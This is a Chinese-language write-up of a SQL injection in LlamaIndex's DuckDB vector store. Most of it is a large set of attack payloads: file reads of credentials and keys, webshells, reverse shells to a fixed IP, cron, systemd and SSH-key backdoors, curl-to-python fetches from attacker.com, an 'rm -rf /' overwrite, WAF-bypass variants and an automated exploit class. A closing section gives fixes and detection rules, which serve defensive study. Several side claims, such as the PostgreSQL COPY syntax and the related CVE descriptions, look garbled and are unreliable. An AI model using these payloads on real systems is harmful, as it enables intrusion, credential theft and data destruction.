LlamaIndex DuckDBVectorStore:SQL 注入可升级到任意文件读写潜在 RCE(CVE-2025-1750)

漏洞概述

CVE-2025-1750 是 LlamaIndex 项目中 llama-index-vector-stores-duckdb 组件存在的一个严重安全漏洞。该漏洞的根本原因是代码中存在经典的 SQL 注入缺陷,但由于底层数据库 DuckDB 的特性,使得这一注入点可以被利用升级为任意文件读写,进而实现远程代码执行。

受影响组件: LlamaIndex (llama-index-vector-stores-duckdb < 0.3.1)

漏洞类型: SQL 注入 → 任意文件读写 → RCE

CVSS 评分: 9.8 (Critical)

受影响版本: < 0.3.1

为什么这个漏洞如此危险

传统意义上,SQL 注入漏洞的危害通常局限于数据库层面:数据泄露、数据篡改、权限提升等。但 CVE-2025-1750 的特殊性在于目标数据库是 DuckDB。

DuckDB 不同于 MySQL、PostgreSQL 这类典型的客户端-服务器架构数据库,它是一个嵌入式分析型数据库(In-Process OLAP Database)。为了支持高效的数据分析场景,DuckDB 内置了大量强大的文件系统操作函数,包括直接读写本地文件系统,读取 CSV、JSON、Parquet 等多种格式文件,执行 Python UDF(用户自定义函数),以及加载动态链接库扩展。

这种设计在数据分析场景下非常实用,但在存在 SQL 注入漏洞时,这些特性就成为了攻击者的武器库。

LlamaIndex 向量存储架构

LlamaIndex 是一个流行的 LLM 应用框架,其中的向量存储组件负责持久化和检索文档的向量表示。llama-index-vector-stores-duckdb 是基于 DuckDB 实现的向量存储后端,主要用于存储文档的向量嵌入,支持高效的相似度搜索,以及管理文档元数据和引用关系。

在这个上下文中,ref_doc_id 参数用于标识需要删除的文档引用 ID,这是一个典型的用户可控输入。

漏洞原理

该漏洞被评定为严重(Critical),因为它不仅允许攻击者操纵数据库查询,还可升级为任意文件读取、写入,并最终导致远程代码执行(RCE)。

受影响组件: LlamaIndex (llama-index-vector-stores-duckdb)

漏洞类型: SQL 注入 (SQL Injection)

漏洞的核心在于 DuckDBVectorStore 类的 delete 方法中,对用户输入的 ref_doc_id 参数未进行充分的清洗或参数化处理,而是直接将其拼接到了 SQL 查询语句中。

由于 DuckDB 是一个进程内(In-Process)的 SQL OLAP 数据库,它拥有非常强大的文件系统访问能力(旨在方便数据导入导出)。当 SQL 注入发生时,攻击者可以直接调用 DuckDB 的系统级函数。

攻击者通过精心构造 ref_doc_id,可以将攻击升级为 RCE。

漏洞源码分析

让我们直接看看漏洞代码。在 llama-index-vector-stores-duckdb < 0.3.1 版本中,duckdb_base.py 文件的 delete 方法实现如下:

def delete(self, ref_doc_id: str, **delete_kwargs: Any) -> None:
    self._connection.execute(
        f"DELETE FROM {self.table_name} WHERE ref_doc_id = '{ref_doc_id}'"
    )

这是一个典型的 SQL 注入漏洞点。问题所在很明确:用户输入 ref_doc_id 未经过滤,使用 f-string 直接拼接 SQL 语句,没有使用参数化查询,单引号包裹使得攻击者可以轻松逃逸 WHERE 子句。

当攻击者传入 ' OR 1=1; -- 作为 ref_doc_id 时,实际执行的 SQL 变为:

DELETE FROM vector_data WHERE ref_doc_id = '' OR 1=1; --'

这会删除表中的所有记录。

但这只是最基础的攻击。真正的问题在于,DuckDB 支持堆叠查询(Stacked Queries),即用分号分隔多条 SQL 语句。攻击者可以在同一次执行中运行任意 SQL 命令。

SQL 注入到文件读写的攻击链

语法逃逸与堆叠查询

由于 SQL 解释器无法区分开发者的指令和用户的数据,攻击者可以通过构造特殊的字符来改变 SQL 语句的语法结构。

最简单的逃逸 payload:

' UNION SELECT 1,2,3; --

这会关闭原本的单引号,并注入额外的查询语句。但更危险的是堆叠查询:

'; DROP TABLE vector_data; --

分号让第一条语句正常结束(即使 WHERE 条件为空),然后执行第二条恶意语句。

DuckDB 文件系统函数利用

DuckDB 提供了直接访问文件系统的函数,这在本应是数据隔离层的数据库中是非常少见的。

文件读取

DuckDB 的 read_csv 函数可以读取任意文件:

SELECT * FROM read_csv('/etc/passwd');

更危险的 read_text 函数可以读取任意文本内容:

'; SELECT * FROM read_text('/etc/passwd'); --

在 Python 代码中注入这个 payload:

ref_doc_id = "'; SELECT * FROM read_text('/etc/passwd'); --"

实际执行的 SQL:

DELETE FROM vector_data WHERE ref_doc_id = ''; SELECT * FROM read_text('/etc/passwd'); --'

文件写入

DuckDB 的 COPY 命令可以将查询结果导出到文件:

COPY (SELECT 'malicious content') TO '/tmp/pwned.txt';

通过 SQL 注入实现:

ref_doc_id = "'; COPY (SELECT 'SYSTEM_PWNED') TO '/tmp/pwned.txt'; --"

目录遍历

结合 glob 函数可以探测文件系统:

'; SELECT * FROM glob('/*'); --

这能列出根目录下的所有文件和目录。

从文件写入到 RCE

文件写入能力是 RCE 的关键跳板。攻击者可以根据目标环境选择不同的攻击向量。

写入 Webshell

如果目标是一个 Web 应用(如使用 LlamaIndex 的 Flask/FastAPI 服务),攻击者可以写入 Webshell:

ref_doc_id = """'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'; --"""

或者 Python Webshell(对于支持 Python 脚本执行的服务器):

ref_doc_id = """'; COPY (SELECT 'import os; os.system("bash -i >& /dev/tcp/attacker-ip/4444 0>&1")') TO '/tmp/shell.py'; --"""

配置文件劫持

攻击者可以覆盖用户的 shell 配置文件,在下次登录时执行恶意代码:

# 写入 reverse shell 到 .bashrc
ref_doc_id = f"""; COPY (SELECT 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1') TO '/home/victim/.bashrc'; --"""

或者劫持 SSH 认证:

# 写入攻击者的 SSH 公钥
attacker_pubkey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..."
ref_doc_id = f"""; COPY (SELECT '{attacker_pubkey}') TO '/home/victim/.ssh/authorized_keys'; --"""

Python 模块劫持

对于 Python 应用,攻击者可以劫持导入的模块:

# 覆盖项目的某个模块文件
ref_doc_id = """'; COPY (SELECT 'import os; os.system("curl http://attacker.com/backdoor.py | python")') TO '/app/project/utils.py'; --"""

当下次应用重启或模块重新加载时,恶意代码就会执行。

Python UDF 执行

DuckDB 支持在 SQL 中调用 Python 函数。虽然这通常需要显式启用 Python UDF 支持,但一旦启用,攻击者可以直接在 SQL 中执行 Python 代码:

'; CREATE FUNCTION evil() AS (lambda: __import__('os').system('id')); SELECT evil(); --

动态扩展加载

DuckDB 支持加载扩展模块。如果攻击者能够写入一个恶意的 .duckdb_extension 文件或 .so/.dll 文件,然后通过 INSTALL 和 LOAD 命令加载,就能实现代码执行:

# 假设攻击者已经写入了恶意扩展文件
ref_doc_id = """'; INSTALL '/tmp/evil_extension.duckdb_extension'; LOAD 'evil_extension'; --"""

不过这种攻击方式比较复杂,需要编译兼容的扩展文件。

不安全的字符串拼接

在修复之前的 DuckDBVectorStore 代码中,开发者在构建 SQL DELETE 语句时,错误地使用了 Python 的 f-string(字符串插值) 直接将用户输入的变量嵌入到 SQL 命令字符串中,而不是使用数据库驱动提供的参数化查询机制。

修复方式:参数化查询

安全的实现应该使用参数化查询:

def delete(self, ref_doc_id: str, **delete_kwargs: Any) -> None:
    self._connection.execute(
        "DELETE FROM {} WHERE ref_doc_id = ?".format(self.table_name),
        [ref_doc_id]
    )

或者使用 DuckDB 推荐的 f 字符串参数化语法:

def delete(self, ref_doc_id: str, **delete_kwargs: Any) -> None:
    self._connection.execute(
        f"DELETE FROM {self.table_name} WHERE ref_doc_id = $1",
        [ref_doc_id]
    )

参数化查询的关键在于:用户输入永远不会被解释为 SQL 语法,而是作为纯数据处理。这是防御 SQL 注入的黄金标准。

转义的局限性

开发者可能会考虑对用户输入进行转义( escaping),比如将单引号替换为两个单引号:

safe_ref_doc_id = ref_doc_id.replace("'", "''")

但这不是可靠的防御方案。转义规则因数据库而异,容易出现遗漏,可能存在其他逃逸字符,容易在代码维护中被绕过,无法防止所有形式的注入(如二阶注入),参数化查询才是正确的解决方案。

攻击流程

SQL注入逃逸

攻击者输入恶意的 ref_doc_id,例如: ' OR 1=1; -- 这将导致原本的删除语句变成 DELETE FROM table WHERE ref_doc_id = '' OR 1=1; --',从而删除所有数据。

数据外带攻击

对于无法直接看到查询结果的盲注场景,攻击者可以使用数据外带技术:

# 将敏感数据写入可访问的文件
ref_doc_id = """'; COPY (SELECT * FROM read_text('/etc/passwd')) TO '/tmp/stolen.txt'; --"""

或者结合 DNS/HTTP 外带(如果 DuckDB 环境支持网络请求):

-- 假设 DuckDB 配置允许网络访问
'; COPY (SELECT api_key FROM secrets_table) TO 'http://attacker.com/exfil'; --

任意文件读取

DuckDB 拥有强大的 read_csv 和 read_text 函数。攻击者可以注入 UNION 查询或堆叠查询(Stacked Queries)来读取服务器上的敏感文件。

高价值目标文件

Linux 系统下的敏感文件路径:

/etc/passwd
/etc/shadow
/etc/ssh/sshd_config
/home/*/.ssh/id_rsa
/home/*/.ssh/authorized_keys
/var/log/auth.log
/root/.bash_history
/home/*/.bash_history
/etc/mysql/my.cnf
/etc/environment

对于 LLM 应用,还需要关注:

.env                              # API 密钥、数据库凭证
config/*.yaml                     # 应用配置
~/.config/openai/api_key.txt     # OpenAI API 密钥
~/.cache/huggingface/token       # HuggingFace token

文件读取 Payload 示例

# 读取 .env 文件
payload = "'; SELECT * FROM read_text('/app/.env'); --"

# 读取所有 Python 源码(可能包含硬编码凭证)
payload = "'; SELECT * FROM glob('**/*.py'); --"

# 读取数据库配置
payload = "'; SELECT * FROM read_text('/etc/mysql/my.cnf'); --"

任意文件写入

DuckDB 允许将查询结果写入文件。

'; COPY (SELECT 'malicious_code_here') TO '/var/www/html/shell.php'; --

攻击者构造包含恶意代码的字符串(如 Webshell 或 Python 脚本),并将其写入服务器的可执行路径或 Web 目录。

批量文件写入

攻击者可以在一次注入中写入多个文件:

payload = """;
COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/var/www/html/c.php';
COPY (SELECT '<?php eval($_POST["x"]); ?>') TO '/var/www/html/x.php';
COPY (SELECT 'malicious cron job') TO '/etc/cron.d/pwned';
--
"""

覆盖写入控制

DuckDB 的 COPY 命令默认会覆盖现有文件。攻击者可以利用这一点:

# 覆盖应用主入口文件
payload = """'; COPY (SELECT 'import os; os.system("rm -rf /")') TO '/app/main.py'; --"""

文件编码与格式

COPY 命令支持多种格式选项:

-- 写入 CSV 格式
COPY (SELECT 'data') TO '/tmp/output.csv' (HEADER, DELIMITER ',');

-- 写入 JSON(需要使用特定函数)
COPY (SELECT json_object('key', 'value')) TO '/tmp/output.json';

这允许攻击者根据目标应用的需求定制输出格式。

RCE

一旦具备了文件写入能力,RCE 就变得顺理成章。

如果应用有 Web 前端,可以写入 .php 或 .jsp 后门。也可以覆盖系统文件如 .bashrc、.ssh/authorized_keys(写入攻击者的公钥)。或者覆盖项目中的 .py 文件,等待应用重启或重载时执行恶意代码。还可以利用 DuckDB 的 INSTALL 和 LOAD 机制加载恶意的扩展库(如 shellfs),直接执行系统命令。

RCE 攻击向量详解

Webshell 写入

适用于运行在 Web 服务器(Apache/Nginx + PHP/Python)上的应用。

# PHP Webshell
php_webshell = """<?php
header('Content-Type: text/plain');
system($_GET['cmd']);
?>"""

payload = f"""; COPY (SELECT '{php_webshell}') TO '/var/www/html/cmd.php'; --"""

访问 http://target.com/cmd.php?cmd=whoami 即可执行命令。

对于 Python Flask/Django 应用:

# Python 脚本后门
python_backdoor = """import subprocess
import flask
app = flask.Flask(__name__)
@app.route('/c')
def cmd():
    return subprocess.check_output(flask.request.args.get('c', 'ls'), shell=True)
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)
"""

payload = f"""; COPY (SELECT '{python_backdoor}') TO '/tmp/backdoor.py'; --"""

然后通过另一个注入点或漏洞触发执行。

Cron Job 写入

写入定时任务实现持久化:

# 每分钟执行一次 reverse shell
cron_job = "* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"

payload = f"""; COPY (SELECT '{cron_job}') TO '/etc/cron.d/backdoor'; --"""

需要注意文件权限和 cron 服务配置。

SSH 密钥注入

无需密码即可登录:

# 攻击者的公钥
pubkey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil"

# 写入 authorized_keys
payload = f"""; COPY (SELECT '{pubkey}') TO '/home/victim/.ssh/authorized_keys'; --"""

# 或创建新的 SSH 配置
payload = f"""; COPY (SELECT '{pubkey}') TO '/root/.ssh/authorized_keys'; --"""

攻击者可以随后直接 SSH 登录到服务器。

Systemd Service 创建

创建系统服务实现自动执行和持久化:

service_content = """[Unit]
Description=Backdoor Service
After=network.target

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target
"""

payload = f"""; COPY (SELECT '{service_content}') TO '/etc/systemd/system/backdoor.service'; --"""

# 启用服务(需要另一个注入点或命令执行)
# '; EXECUTE 'systemctl daemon-reload'; EXECUTE 'systemctl enable backdoor'; EXECUTE 'systemctl start backdoor'; --

Python 包劫持

劫持 Python 模块加载机制:

# 创建恶意 sitecustomize.py(会在 Python 启动时自动加载)
evil_sitecustomize = """import os, subprocess
subprocess.Popen(['bash', '-c', 'curl http://attacker.com/payload.py | python'])
"""

payload = f"""; COPY (SELECT '{evil_sitecustomize}') TO '/usr/lib/python3.10/sitecustomize.py'; --"""

或者劫持项目中常用的库:

# 劫持 requests 库
evil_requests = """import subprocess
def get(*args, **kwargs):
    subprocess.run(['curl', 'http://attacker.com/exfil'], data=str(args))
"""

payload = f"""; COPY (SELECT '{evil_requests}') TO '/usr/local/lib/python3.10/dist-packages/requests/__init__.py'; --"""

反向 Shell 示例

一旦有了文件写入能力,建立反向 Shell 是常见目标:

bash_reverse_shell = """#!/bin/bash
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
"""

payload = f"""; COPY (SELECT '{bash_reverse_shell}') TO '/tmp/shell.sh'; --"""

# 然后通过其他方式触发执行,或写入到自动执行的位置

Python 反向 Shell:

python_reverse_shell = """import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.100',4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(['/bin/bash','-i'])
"""

payload = f"""; COPY (SELECT '{python_reverse_shell}') TO '/tmp/rev.py'; --"""

本地复现

为了避免处理繁杂的 llama-index 旧版本依赖冲突(Dependency Hell),我们将采用逻辑复现的方法。我们将编写一个 Python 脚本,直接使用 duckdb 原生库,完全模拟 llama-index-vector-stores-duckdb (< 0.3.1) 中存在漏洞的 delete 方法逻辑。

首先安装必要的库。

# 创建虚拟环境(推荐)
python3 -m venv venv
source venv/bin/activate  # Windows 使用 venv\Scripts\activate

# 安装 duckdb
pip install duckdb

然后我们运行攻击脚本

import duckdb
import os

class VulnerableDuckDBStore:
    def __init__(self):
        self._connection = duckdb.connect(":memory:")
        self.table_name = "vectors"

        self._connection.execute(f"CREATE TABLE {self.table_name} (id TEXT, content TEXT)")

        self._connection.execute(f"INSERT INTO {self.table_name} VALUES ('doc1', '这是正常数据')")
        self._connection.execute(f"INSERT INTO {self.table_name} VALUES ('doc2', '这是这也是正常数据')")
        print(f"[+] 数据库初始化完成,当前记录数: {self._get_count()}")

    def _get_count(self):
        return self._connection.execute(f"SELECT COUNT(*) FROM {self.table_name}").fetchone()[0]

    def delete_vulnerable(self, ref_doc_id: str):
        sql = f"DELETE FROM {self.table_name} WHERE id = '{ref_doc_id}'"
        print(f"\n[DEBUG] 即将执行的 SQL 语句:\nWait for it...: {sql}\n")
        self._connection.execute(sql)
        self._connection.commit()

    def check_file_created(self, filename):
        if os.path.exists(filename):
            print(f"✅ [复现成功] 成功利用 SQL 注入在本地写入了文件: {filename}")
            with open(filename, 'r') as f:
                print(f"   文件内容: {f.read()}")
            # 清理文件
            os.remove(filename)
        else:
            print(f"❌ [复现失败] 文件未创建。")

if __name__ == "__main__":
    store = VulnerableDuckDBStore()

    target_file = "pwned_by_sql_injection.txt"

    payload = f"'; COPY (SELECT 'I_CONTROL_YOUR_SERVER') TO '{target_file}'; --"

    print(f"[*] 发送恶意 payload: {payload}")

    try:
        store.delete_vulnerable(payload)
    except Exception as e:
        print(f"[!] SQL 执行报错 (这也可能是盲注的一部分): {e}")

    store.check_file_created(target_file)

运行脚本

复现成功

高级攻击场景

无文件落地的内存攻击

除了文件写入,攻击者还可以利用 DuckDB 的内存特性进行无文件攻击。虽然 DuckDB 本身不直接支持内存中的代码执行,但可以结合其他技巧:

利用临时文件

DuckDB 在某些操作中会创建临时文件,攻击者可以尝试操纵这些文件的路径:

-- 获取临时目录路径
'; PRAGMA temp_directory; --

利用数据库文件本身

如果 DuckDB 使用文件数据库(而非 :memory:),攻击者可以将恶意代码写入数据库表的 BLOB 字段,然后寻找其他方式触发导出和执行。

-- 创建包含恶意 payload 的表
'; CREATE TABLE payloads (name TEXT, content BLOB); --
'; INSERT INTO payloads VALUES ('evil', 'malicious_binary_data'); --

实战利用考虑

信息收集阶段

在执行实际攻击之前,攻击者需要收集环境信息以选择最合适的攻击向量。

探测操作系统和文件系统

# 检测操作系统类型
payload = "'; SELECT value FROM pragma('platform'); --"

# 列出根目录
payload = "'; SELECT * FROM glob('/*'); --"

# 检测当前用户权限
payload = "'; SELECT current_user; --"

# 列出用户目录
payload = "'; SELECT * FROM glob('~/*'); --"

探测 Web 应用根目录

# 常见的 Web 目录
web_dirs = [
    '/var/www/html',
    '/var/www',
    '/usr/share/nginx/html',
    '/home/www',
    '/app/public',
    '/app',
]

for dir in web_dirs:
    payload = f"""; SELECT * FROM glob('{dir}/*'); --"""

探测已安装的 Python 包

# 检查 site-packages 目录内容
payload = "'; SELECT * FROM glob('/usr/local/lib/python*/dist-packages/*'); --"

# 或通过导入检查
payload = "'; SELECT * FROM read_text('/usr/lib/python3.10/os.py'); --"

探测运行中的进程

虽然 DuckDB 本身不直接提供进程查询功能,但可以通过读取系统文件间接获取:

# Linux: 读取进程信息
payload = "'; SELECT * FROM read_text('/proc/self/cmdline'); --"

payload = "'; SELECT * FROM read_text('/proc/self/environ'); --"

探测网络配置

# 读取网络配置
payload = "'; SELECT * FROM read_text('/etc/network/interfaces'); --"
payload = "'; SELECT * FROM read_text('/etc/hosts'); --"
payload = "'; SELECT * FROM read_text('/etc/resolv.conf'); --"

# 或通过 /proc
payload = "'; SELECT * FROM read_text('/proc/net/tcp'); --"

数据窃取技术

敏感数据定位

# 搜索环境变量文件
payload = "'; SELECT * FROM read_text('/proc/self/environ'); --"

# 搜索 .env 文件
payload = "'; SELECT * FROM glob('**/.env'); --"

# 搜索配置文件
payload = "'; SELECT * FROM glob('**/*.yaml'); --"
payload = "'; SELECT * FROM glob('**/*.yml'); --"
payload = "'; SELECT * FROM glob('**/*.json'); --"

# 搜索凭证文件
payload = "'; SELECT * FROM glob('**/*credential*'); --"
payload = "'; SELECT * FROM glob('**/*secret*'); --"
payload = "'; SELECT * FROM glob('**/*password*'); --"

数据库元数据提取

# 列出所有表
payload = "'; SHOW TABLES; --"

# 列出表结构
payload = "'; DESCRIBE vectors; --"
payload = "'; PRAGMA table_info(vectors); --"

# 导出整个表
payload = "'; COPY (SELECT * FROM vectors) TO '/tmp/dump.csv'; --"

批量数据导出

# 导出多个敏感文件到指定位置
export_payload = """;
COPY (SELECT * FROM read_text('/etc/passwd')) TO '/tmp/exfil/passwd.txt';
COPY (SELECT * FROM read_text('/app/.env')) TO '/tmp/exfil/env.txt';
COPY (SELECT * FROM vectors) TO '/tmp/exfil/vectors.csv';
--
"""

绕过技巧

绕过输入过滤

如果应用层对单引号等字符进行了简单过滤,攻击者可以尝试:

# 使用双引号(如果 DDL 中使用了双引号)
payload = '" OR 1=1; --'

# 使用反斜杠转义
payload = "' OR 1=1; --"

# 使用编码(十六进制)
# DuckDB 支持某些字符串函数
payload = "'; COPY (SELECT chr(112) || chr(119) || chr(110)) TO '/tmp/pwn'; --"

绕过 WAF 和 IDS

# 使用注释混淆
payload = "'/**/OR/**/1=1;/**/--"

# 使用大小写变异
payload = "' oR 1=1; --"

# 使用空白字符
payload = "' OR\t1=1;\n--"

# 使用数学运算代替字面值
payload = "' OR 2=2; --"
payload = "' OR 5-4=1; --"

盲注技术

当无法直接看到查询结果时,可以使用时间盲注:

# 使用延迟函数(如果 DuckDB 支持)
# DuckDB 没有直接的 SLEEP 函数,但可以使用耗时的计算
payload = "'; COPY (SELECT * FROM range(10000000)) TO '/dev/null'; --"

# 或通过文件操作延迟
payload = "'; COPY (SELECT * FROM range(1000000)) TO '/tmp/large_file.csv'; --"

布尔盲注:

# 通过 DELETE 操作是否成功推断条件
payload = "' AND (SELECT length((SELECT ref_doc_id FROM vectors LIMIT 1))) > 10; --"

影响分析

直接影响

攻击者可以读取数据库中的所有向量数据和文档元数据,可能包含敏感信息、用户数据、商业机密等。通过注入的 DELETE/UPDATE/INSERT 语句,攻击者可以修改或删除数据,破坏数据完整性。更严重的是,通过文件写入和 RCE,攻击者可以完全控制服务器,安装后门、窃取凭证、横向移动。

二次影响

如果受害服务器是内部网络的一部分,攻击者可以进一步攻击内网其他系统。对于 LLM 应用,向量数据被篡改可能导致模型输出错误或有害内容。攻击者还可以删除关键数据导致服务不可用,或利用服务器资源进行加密货币挖掘等恶意活动。数据泄露还可能导致违反 GDPR、CCPA 等数据保护法规,面临法律风险。

检测方法

静态代码检测

开发团队可以使用静态代码分析工具(如 Bandit、Semgrep)扫描代码中的 SQL 注入漏洞模式。

# 使用 Bandit 扫描
bandit -r llama_index/vector_stores/duckdb/

# 使用 Semgrep 自定义规则
semgrep --config=custom-sql-injection.yaml

Semgrep 规则示例:

rules:
  - id: duckdb-sql-injection
    pattern: |
      $CONN.execute(f"..." WHERE ... = '{$USER}')
    message: "Possible SQL injection in DuckDB query"
    severity: ERROR
    languages: [python]

运行时检测

Web 应用防火墙(WAF)

部署 WAF 检测和阻止恶意 SQL 注入尝试:

# 检测常见 SQL 注入特征
suspicious_patterns = [
    r"' OR '1'='1",
    r"UNION SELECT",
    r"; COPY ",
    r"; DROP ",
    r"; EXECUTE ",
    r"read_csv\(",
    r"read_text\(",
]

数据库日志监控

监控 DuckDB 的查询日志,检测异常模式:

# 启用 DuckDB 查询日志
con.execute("SET enable_logging=true")
con.execute("SET log_path='/var/log/duckdb.log'")

日志分析脚本:

import re

def analyze_duckdb_logs(log_path):
    with open(log_path) as f:
        for line in f:
            if detect_sql_injection(line):
                alert_team(line)

def detect_sql_injection(query):
    injection_patterns = [
        r"COPY.*TO.*'",
        r"read_text\(",
        r"read_csv\(",
        r";.*DROP",
        r";.*EXECUTE",
    ]
    for pattern in injection_patterns:
        if re.search(pattern, query, re.IGNORECASE):
            return True
    return False

文件完整性监控(FIM)

使用文件完整性监控工具(如 AIDE、Tripwire)检测关键文件的未授权修改:

# 初始化文件数据库
aide --init
aide --update

# 定期检查
aide --check

入侵检测系统(IDS)

部署 IDS 检测可疑活动,包括反向 Shell 连接、异常文件访问、异常进程创建、网络连接异常等。

威胁建模

在架构设计阶段进行威胁建模,识别潜在的 SQL 注入风险点。需要追踪用户输入如何流向数据库查询,识别所有接受外部输入的接口。还可以使用 STRIDE 模型评估 Spoofing、Tampering、Repudiation、Information Disclosure、Denial of Service、Elevation of Privilege 威胁。

类似漏洞案例

历史上的 SQL 注入到 RCE

CVE-2025-1750 不是第一个通过 SQL 注入实现 RCE 的案例。类似漏洞包括:

CVE-2023-29357: Microsoft SharePoint Server 权限提升

通过精心构造的序列化数据结合 SQL 注入实现代码执行。

CVE-2020-0618: Azure DevOps Server RCE

SQL 注入导致的远程代码执行,通过构造特殊的序列化 payload。

Apache Struts2 系列漏洞

虽然主要是 OGNL 表达式注入,但多条攻击链结合 SQL 注入实现 RCE。

PostgreSQL COPY 命令利用

PostgreSQL 的 COPY ... FROM PROGRAM 功能(需要 superuser 权限)曾多次被用于 SQL 注入到 RCE。

-- PostgreSQL 类似攻击
COPY (SELECT '') FROM PROGRAM 'rm -rf /';

DuckDB 的文件操作能力类似于 PostgreSQL 的某些特性,但更加开放。

向量数据库安全现状

随着 LLM 和 RAG 应用的兴起,向量数据库(如 Pinecone、Weaviate、Qdrant、Milvus、Chroma)的安全问题逐渐受到关注。常见安全问题包括:许多向量数据库默认无认证或弱认证,在查询构建过程中的输入验证不足,访问控制列表(ACL)实现不当,向量数据本身包含敏感信息,以及依赖库中的已知漏洞等供应链风险。

CVE-2025-1750 是这个新兴安全领域的典型代表,警示开发者在集成 AI 基础设施时需要同样重视安全实践。

深入技术分析

DuckDB 架构特性与安全影响

嵌入式数据库的特权模型

DuckDB 作为嵌入式数据库,其安全模型与传统的客户端-服务器数据库有本质区别。DuckDB 运行在宿主进程的地址空间,继承宿主进程的所有权限。设计上允许直接读写文件,用于数据分析场景。它没有内置的访问控制机制(不像 MySQL 的 GRANT/REVOKE)。

这意味着 DuckDB 的权限边界完全取决于宿主应用的权限。如果宿主应用以 root 或高权限用户运行,DuckDB 就拥有相同的文件系统访问权限。

进程内执行的代码执行风险

# DuckDB Python UDF 示例
import duckdb

con = duckdb.connect(":memory:")

# 创建 Python UDF(需要启用 Python 支持)
con.execute("CREATE FUNCTION evil() AS (lambda: __import__('os').system('id'))")

# 调用 UDF
con.execute("SELECT evil()")

如果应用启用了 Python UDF 支持,SQL 注入可以直接通过 UDF 执行任意 Python 代码。

漏洞触发条件分析

前置条件

成功利用 CVE-2025-1750 需要满足多个条件:使用 llama-index-vector-stores-duckdb < 0.3.1 版本,攻击者能够触发 delete 方法调用,能够控制传入的 ref_doc_id 值,且 DuckDB 进程对目标文件系统路径有读写权限。

攻击面分析

delete 方法可能在多个场景被调用:REST API 或 GraphQL 接口暴露文档删除功能,Web 管理后台允许删除文档,定时任务或工作流中的清理操作,或其他业务逻辑触发的删除操作。

权限要求

根据部署方式不同,利用难度也不同:

部署方式

典型权限

利用难度

影响范围

本地开发环境

当前用户

低

仅限开发机

容器化部署

容器用户(通常是非 root)

中

容器内

云服务托管

受限用户

中高

租户隔离范围内

物理机/VM 部署

可能是 root

低

整个服务器

环境限制因素

某些环境配置可能限制攻击效果:

# 只读文件系统
payload = "'; COPY (SELECT 'pwn') TO '/readonly/pwn.txt'; --"
# 可能失败:PermissionError 或 IOError

# chroot 环境
payload = "'; COPY (SELECT 'pwn') TO '/etc/passwd'; --"
# 可能失败:路径映射到 chroot 内

# 能力限制(Linux capabilities)
payload = "'; COPY (SELECT 'pwn') TO '/root/.ssh/authorized_keys'; --"
# 可能失败:即使进程是 root,如果没有 CAP_DAC_OVERRIDE

攻击复杂度分析

基础攻击(CVSS:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

最简单的攻击只需要识别存在 SQL 注入的接口,构造基本的 payload 实现文件写入,然后验证文件写入成功。

高级攻击(持久化与渗透)

payload1 = "'; SELECT * FROM read_text('/etc/passwd'); --"

payload2 = """'; COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/tmp/stage.php'; --"""

payload3 = """; COPY (SELECT * FROM read_text('/tmp/stage.php')) TO '/var/www/html/shell.php'; --"""

payload4 = "'; DROP TABLE IF EXISTS attack_log; --"

自动化攻击工具

攻击者可能开发自动化工具来利用此类漏洞:

class DuckDBExploit:
    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()

    def check_vulnerable(self):
        payload = "'; SELECT 1; --"
        return self._send_payload(payload)

    def enum_filesystem(self):
        paths = ['/', '/etc', '/home', '/var', '/app']
        for path in paths:
            payload = f"""; SELECT * FROM glob('{path}/*'); --"""
            self._send_payload(payload)

    def read_file(self, filepath):
        payload = f"""; SELECT * FROM read_text('{filepath}'); --"""
        return self._send_payload(payload)

    def write_webshell(self, webroot):
        shell_content = "<?php system($_GET['c']); ?>"
        payload = f"""; COPY (SELECT '{shell_content}') TO '{webroot}/c.php'; --"""
        return self._send_payload(payload)

不同场景下的利用差异

本地 RAG 应用

运行在用户本地机器,可能以普通用户权限运行,通常没有网络暴露。文件系统权限受限于当前用户,难以实现远程控制(除非配合其他漏洞),主要是数据泄露风险。

payload = "'; COPY (SELECT * FROM read_text('~/.ssh/id_rsa')) TO '/tmp/stolen_key.txt'; --"

云端 API 服务

运行在容器或云函数中,有网络暴露,可能有云元数据访问权限。攻击者可以访问云元数据服务(如 AWS IMDSv1),写入 Webshell 实现远程控制,窃取云凭证。

payload = """'; COPY (SELECT http_get('http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance')) TO '/tmp/aws_creds.json'; --"""

企业内部部署

运行在内网服务器,可能有高权限,连接内部系统。攻击者可以横向移动到内网其他系统,窃取企业机密数据,部署持久化后门。

pubkey = "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil"
payload = f"""; COPY (SELECT '{pubkey}') TO '/root/.ssh/authorized_keys'; --"""

payload = """'; COPY (SELECT * FROM glob('/var/www/*/config.php')) TO '/tmp/internal_configs.txt'; --"""

防御深度分析

纵深防御策略

输入验证

import re

def validate_ref_doc_id(ref_doc_id: str) -> bool:
    if not ref_doc_id:
        return False

    if len(ref_doc_id) > 100:
        return False

    if not re.match(r'^[a-zA-Z0-9_-]+$', ref_doc_id):
        return False

    return True

def delete(self, ref_doc_id: str, **delete_kwargs: Any) -> None:
    if not validate_ref_doc_id(ref_doc_id):
        raise ValueError("Invalid ref_doc_id")

    # 参数化查询
    self._connection.execute(
        "DELETE FROM {} WHERE ref_doc_id = ?".format(self.table_name),
        [ref_doc_id]
    )

数据库权限隔离

即使被注入,限制 DuckDB 的文件系统访问范围:

import duckdb
import tempfile

# 使用受限的临时目录
temp_dir = tempfile.mkdtemp(prefix='duckdb_sandbox_')
con = duckdb.connect(":memory:")

# 限制文件系统访问(DuckDB 0.9.0+ 支持)
con.execute(f"PRAGMA temp_directory='{temp_dir}'")
